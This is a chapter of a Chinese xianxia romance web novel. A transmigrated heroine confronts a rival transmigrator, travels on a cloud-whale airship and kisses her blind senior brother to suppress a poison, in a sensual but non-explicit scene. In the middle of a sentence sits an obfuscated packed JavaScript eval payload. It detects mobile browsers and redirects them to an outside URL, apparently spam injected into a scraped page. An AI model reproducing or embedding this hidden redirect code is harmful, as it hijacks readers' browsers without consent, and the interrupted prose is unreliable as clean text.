他瘫坐在地,胡乱拢着破碎衣襟,明明虚弱之极,浑身却仍竖着尖刺般的戒备,凤眸濡.湿泛红,透着掩不住的憔悴与恨意,和往日里那风华绝代的合欢宗圣子判若两人。 她的手不自觉落在腰间的凝雪剑上,在心底最后一次确认。 ‘……眼下是最好的机会,只要杀了他,所有问题都会迎刃而解,真的不能动手么?’ 吓了系统一大跳,赶忙劝阻她:【是的,我早就说过,除了阻止异魂的攻略,宿主绝不能直接对其下手。他的来历特殊,身系此界平衡,若强行诛杀,会引起时空震动,后果不堪设想,宿主切莫冲动啊。】 与此同时,苏玉倾敏锐地捕捉到对方身上一闪而逝的杀气,电光石火间,无数碎片串联到一起,他福至心灵,抬手指向她。 “是你!一直藏在暗处,抢先带走云蘅,几次坏我计划,还让容赵二人互换身体,害得容景昭与我反目成仇……” 这几日所有的不寻常都有了答案,他得出一个从没想过的可能,“你知晓我的来历,更知道我必须要攻略这两个人!” 自从穿越到这个世界,“合欢宗圣子”的身份早已融入骨血,却在此时惊觉还有其他人洞悉自己最深的秘密,便是苏玉倾也难掩惊骇,死死盯着眼前的灰衣人。 月光如水,映照着一站一坐的两人。 有系统阻拦,云莳被迫放弃最直接的解决方式。再看苏玉倾伤痕累累、只剩半条命的模样,即便想痛揍他一顿解气,也实在不太能下得去手。 “对,我什么都知道。” 她到底放弃了,无奈点头,“所以,苏玉倾,你真的要这么做吗?费尽手段勾引这些你本不喜欢的人,哪怕沦为眼下这样,也不停手么。” 底牌被彻底揭开。苏玉倾望着跟前这个笼着层层伪装、面容与声音都不甚清楚的灰衣人,随手抹掉嘴边的血迹,冷笑出声。 “是,我只能这么做,不管是卖笑还是卖身,只有完成这些狗屁任务,我才能回家。” 他嘲讽地望着对方,嘶哑道,“所以,无论阁下何方神圣,只要今天不一剑杀了我,我便会不惜一切继续做下去,直到彻底完成为止。” 这话听得云莳心口堵闷。她已经明白了,这个异魂既是从异界穿越而来,所谓“回家”,无疑就是回到他真正的世界。 就像她必须阻止他、救回师兄一样,他也只能靠“攻略”这些人换取归途。从被选中的那刻起,两人除了硬着头皮完成各自的任务,实际再无第二个选择。 想清楚这点,她免不了五味杂陈。知道二人之间注定要争个死你我活,再看向他反而没什么感觉了。 云莳沉默着又上前一步,弯腰将捡来的药瓶放在他手边,也不看苏玉倾是何反应,转身便要走。 “等等。”苏玉倾却突然顾不得伤势,急的呛咳,大声叫住她,“你、你与我是一样的对不对?你究竟是谁,也是来自那个世界吗?!” 灰衣人顿了顿,头也不回,朝他摆了摆手,身影很快没入浓稠夜色,再不见踪迹。 21. 厮混 次日。 老树底下,饱睡一夜,赵灵真刚睁眼就觉得一阵腰酸背痛,娇生惯养的她还是头次这般露宿野外,打了个哈欠,揉着肩膀,左右看看都没人影。 前方是燃尽的篝火堆,也不知另外两人去哪了。 还在疑惑,白衣修士便缓步归来。墨发雪衣俊逸出尘,清风明月般的人物,手里端着刚打的泉水,全然没有作为凌云宗掌门首徒的架子。 咳,不得不说,以她阅遍世家弟子和仙门俊杰的眼光来看,能在容貌气度上与那个男狐狸精一较高下的,恐怕也就眼前这位了,艳烈清冷各有千秋,看着便养眼的紧。 赵灵真想着,禁不住纳闷,说起来,也不知风止是怎么和云蘅认识的,这位可是向来清贵绝尘、深居简出,和风止一个小散修八竿子打不着……可看二人同行的模样,分明交情匪浅。 看来之后一定得找机会好好问问他,她心下暗想。 这时,云蘅已经走到跟前,将水递来,和声开口,“赵姑娘既已醒来,不妨先梳洗一番,稍后我们便要启程了。” 赵灵真陡然回神,急忙问他,“那风止呢,他不跟我们一起么?”她刚交的朋友还没捂热乎,可不能让人就这么跑了。 话音刚落,林子那边便传来少年清亮的呼喊,“收拾好了吗?快些,船要来了——” 云莳口中的船,不是江河里的寻常舟楫,而是能翱翔云海、专属于修仙者的“流云舟”,最是适合长途跋涉,错过今日这班,想等到下一趟路过的,怕是要数月之后了。 片刻,三人打点行装,立在河岸,汤汤江水,天际尽头,一艘通体莹白的巨舟正破开云层缓缓驶来。船身似用整块灵玉雕琢而成,在晨曦中流转着温润的光泽。 随着巨船渐次显露,最叫人惊叹的是,驮着舟身的竟是一头巨大的“云鲸”。这种妖兽传说源自上古鲲鹏血脉,形如巨鲸,又似缥缈云雾凝聚而成,半透明的身躯在阳光下折射出七彩光晕。 它庞大的鳍肢在空中优雅摆动,每一次挥动都带起流云翻卷,偶尔发出悠长啸鸣,如同长风过境,回荡在天地之间。 待流云舟停靠在离地十余丈的空中,一道流光溢彩的虹桥自船舷垂落,延伸至三人面前,踏上去如履实地。 他们沿着虹桥,登上宽阔的甲板,但见船上人来人往,俨然一座热闹的浮空集市。叫卖灵果的摊贩、切磋道法的修士、凭栏赏景的旅人,看得人眼花缭乱。 尤其是较少出远门的云莳和赵灵真,一时间都有些看花眼,直到被云船侍者领到缴纳船资的玉台前,这才回过神来。 这种能在几天内横跨洲际的大船,船资自然不菲。一听前往中原每人竟要三百枚上品灵石,云莳惊得眼睛溜圆,这、这把她卖了都凑不出来! 偏偏师兄灵力未复,他的芥子囊也没法打开,里面的灵石取不出来,岂不是二人都要困在此地,错失这趟云船了? 想到这,她忍不住幽怨地悄悄瞪了眼身旁的云蘅。都怪他习惯什么“穷养孩子”,平日里给的那点零花就够买几本话本,她辛辛苦苦攒了这些年,兜里也没几个子儿。 云蘅似有所觉,转头而来,薄唇轻启,正要说什么,忽听得“啪”的一声,赵灵真把自己的戒子囊拍在玉台上,豪气放话。 “这里有一千上品灵石,给我们三个最好的房间!” 这刹那,少女周身仿佛镀了层金光,云莳望着她,眼睛闪闪发亮,心里只剩一个念头:这个朋友真没交错! 缴纳完船资,侍者笑着递来三间上舱门牌,贴心解释:“这是位于船身前段的舱房,视野最为开阔,正适合三位观赏沿途风光。” 果然,一到地方,推开房门,室内陈设雅致,案几整洁,帘幔轻拂。透过琉璃舷窗,可以看见窗外长河如练,云鲸的胸鳍舒展摆动,带起阵阵灵雾缭绕。 云莳和赵灵真兴奋地来到窗边,望着脚下渐渐远去的山河,忍不住轻呼,“这也太美了。” 云蘅立在门边,虽目不能视,却也唇角微扬,似在聆听风穿林海的轻吟。 不久,流云舟轻轻一震,在云鲸的托举中,再度升空,没入漫天白云中。 * 上船后,才发现这一千上品灵石确实没有白花,他们的住宿条件和吃穿用度都焕然一新,生活水平蹭蹭拔高了好几个档次。 譬如午间那顿精心烹制的灵食,就让云莳吃的啧啧称赞,与赵灵真将席上的玉髓露分食了个干净,不是什么烈性酒酿,但二人喝完后也略觉醺然,回到房间倒头便睡。 连日奔波劳碌,这还是云莳头一回躺在如此柔软舒适的床榻上,浑身筋骨都松弛下来。不知睡了多久,朦胧间似乎听到刺耳的警报声,她迷迷糊糊地睁开眼。 紧接着,脑海中那个急促的声音彻底冲散了她的睡意,如同当头浇了一盆冰水,让她乍然清醒。 【宿主快醒醒,云蘅身上的缠心蛊再次发作,气息正在急速溃散,情况十分危险!】 意识到系统在说什么,她骤然坐起身,连外衫和鞋履都来不及穿好,跌跌撞撞地冲向门外—— 所幸三人的舱房相邻,她一把推开隔壁的房门,映入眼帘的便是盘坐在榻上、强行运功调息,却仍控制不住浑身剧颤的云蘅。 他脸色如雪,唇边不断淌下殷红的鲜血,将胸前的白衣染得斑驳刺目,呼吸也越来越微弱。 望见这幕,云莳瞳孔一缩,不待系统再次催促,已经扑到榻前,伸手搭上他的腕脉。 怎么会……怎么会严重到这个地步?明明这段时间都安然无恙,为何此次蛊毒发作会如此凶猛?! ——除非是他一直在强行压制,不愿让她察觉,才导致这次的反噬格外激烈。 就在她惊怒交加时,本该意识全无的云蘅长睫微颤,竟缓缓睁开了双眼,银色的瞳孔无神涣散,嘴唇艰难翕动。 “是、风止么?” “对,是我。”云莳深吸一口气,压下心底翻涌的慌乱,急声问他,“你的蛊毒又发作了,为何不早些告诉我?” 云蘅却显出几分茫然与恍惚,摸索着碰到她的手,刚要握住,又陡然惊醒,被烫到般飞快松开。 他身体向后仰去,试图拉开与她距离,从齿缝间挤出字句,“对不起……我不能再连累你……不必管我,让我调息片刻……便好了。” 果然,她就知道这人一定会逞强!云莳的心脏被无形的大掌握紧,无数念头纷乱闪过。 她何尝不知道他在抗拒什么,但若不是走投无路,她又怎会愿意用这种方式冒犯自己最敬重的兄长。 当下,云莳顶着发红的眼眶,顾不得跟前人微弱的拒绝,双手将他冰冷的脸颊捧住,转向自己这边。 他唇边的鲜血还在不断流下,染得她满手都是,滚烫得渗入心底。 云莳狠下心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16839317|190888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,手上用力,让他仰起面孔,因她施加给他的痛楚而更加清醒,再用清晰缓慢的声音,让他一个字都没有听漏。 “缠心蛊就是这样的东西,解蛊只能靠这样的办法。”她再怎么抑制,嗓子还是禁不住发哑,“所以,我既然救了你,就只能救你到底……云蘅,不要怪我。” 再不迟疑,云莳低头就重重吻上那双沾满鲜血的薄唇。 云蘅的银眸遽然睁大,他闷哼一声,未来得及反应,便感觉到她的舌尖用力顶开他的齿关,带着一种破釜沉舟的决绝,不容拒绝地深入…… 不知不觉,女子已整个覆在他身上,将白衣男子压倒下去,墨发如瀑散开,二人唇齿交缠,津·液相融,口中满是血腥的甜锈气息,又被彼此急促的呼吸与吞咽卷入喉中。 云莳的头脑也因这亲密接触而昏沉,但仍残存着一丝清明,记得单靠亲吻远不足以压制蛊毒。她一边继续这个毫无章法的吻,一边笨拙而急切地扯开他上半身的衣裳。 很快,两人便衣襟半敞,相拥着紧紧纠缠,她的长发也垂落下来,与他的混缠交织,遮去大半光景,只从缝隙里漏出交叠的肩颈与急促起伏的胸膛—— 伴随精纯的灵力源源不断渡入体内,云蘅终于恢复了些许清明与气力,不用眼睛与神识,他也清楚地知道二人此刻如何的情形是如何不堪。 而他身上的女子还在胡乱啃咬他的唇瓣,呼吸浓重,眼角流下温热的液体,混入他们的唇舌间……他喘着粗气,好不容易将她推开寸许。 四唇分开,一道长长的银.丝倏然绷断,云蘅的心跳快得要撞碎胸膛,下.身难以自控的变化让他俊美面容染上浓重潮.红,声音沙哑得近乎破碎。 “风止,够了……你不必为我做到这个地步……” 云莳的脸上却只剩救人的决绝,只要他的毒还没压住,这事就不算完,用蛮力拉开他阻拦的手臂,再度俯身,抵着他的唇瓣恶狠狠咬下去。 “太晚了,从第一次为你解毒起,就没有回头路了。” 混乱间,身下的人浑身绷紧,眉宇间闪过挣扎,那只欲要推开她的手,蜷了又松,终究是落在女子的腰肢上,指尖发颤,朝着自己的方向缓缓收拢。 …… 在二人相拥接吻,近乎忘却外物时,外头突然响起“砰砰”敲门声,紧接着是一声清脆的呼喊。 “云师兄,你在吗?”赵灵真的声音在外头响起,“风止的房门开着,却没有人在,你可看到他去哪里了么?” 这声呼唤如同惊雷炸响,榻上的两人骤然清醒,初初分开,云莳气喘吁吁地捂住云蘅的唇,在他耳畔着急低语,“糟了,刚刚太急,忘了锁门了。” 不仅是她的门没关,就连云蘅的房门,她先前冲进来时也只是虚掩了下,压根没有落栓。 听着门外的少女嘀咕“怎么回事,一个个都神神秘秘的”,似乎就要推门而入,二人完全来不及打理好衣着,若是这幅样子被赵灵真撞见,后果可想而知。 ——更要命的是,云莳如今还顶着男子的身份,真被发现和云蘅厮混在一起,非得把才受过情伤的赵灵真给惊出个好歹不可。 情急之下,云莳抬手就把帐幔扯落,拽过锦被将二人严严实实裹住,在云蘅耳边丢下“千万别出声。” 话音未落,虚掩的房门便被推开,赵灵真扬声说了句“云师兄,那我进来了”,当真踏入了舱室。